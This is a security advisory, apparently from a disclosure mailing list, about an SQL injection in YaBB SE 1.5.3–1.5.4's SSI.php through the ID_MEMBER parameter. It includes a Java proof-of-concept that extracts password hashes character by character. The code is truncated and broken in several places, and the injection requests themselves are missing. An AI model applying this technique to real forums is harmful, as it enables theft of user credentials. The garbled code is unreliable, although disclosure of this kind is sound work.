[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Yabb SE SQL Injection

YaBB SE is a PHP/MySQL port of the popular forum software YaBB (yet another
bulletin board). An SQL Injection vulnerability in the product allows a
remote attacker to insert malicious SQL statements.

Vulnerable Systems:
Yabb Se version 1.5.4 (tested), 1.5.3(tested) maybe others

Immune Systems:
Yabb Se version 1.5.5

Technical Details:

the file SSI.php has a number of functions that return some information
about the status of the forum like recent topics, boards statistics and so
on. Functions welcome and recentTopics are vulnerable to SQL injection
because the parameter ID_MEMBER is not checked against malicious input.





those requests return a page showing all usernames and hashed passwords.

[General Discussion]  test post by test January 01, 2001, 03:00:01 pm
[]  admin by [hashed pass]  January 01, 1970, 01:00:01 am
[]  test_user by [hashed pass]  January 01, 1970, 01:00:02 am


this request return the value of the first character from the realName of
the user whose ID_MEMBER is 1.

Proof of concept code:

* YabbSe SQL Injection test code
* The code is very ugly but it works OK
* Use at your own risk.
* compile:
* javac yabb.java
* exec:
* java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
* parameters are:
* java yabb [url with path] [database_prefix] [ID_MEMBER]
import java.net.*;
import java.io.*;

public class yabb {
    public static void main(String[] args) throws Exception {

 boolean lastChar = false;
 String Key = "";

        for ( int count=1; count <= 32 ; count++)
  URL yabbForum = new URL(args[0] +

  BufferedReader in = new BufferedReader(new

  String inputLine;

  inputLine = in.readLine();

  int pos  = inputLine.indexOf("action=im");
  int pos2 = inputLine.indexOf(" ", pos + 11);

  if ( pos < 0 )
   System.out.println("ERROR: The server doesn't return any data");

  String theNumber = inputLine.substring( pos + 11, pos2);

  System.out.println(theNumber + "-" + new
  Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
 System.out.println("Hashed password : " + Key);

Vendor status:
  The vendor was contacted and the vulnerabilities were fixed.

  Upgrade to version 1.5.5

Credits go to BackSpace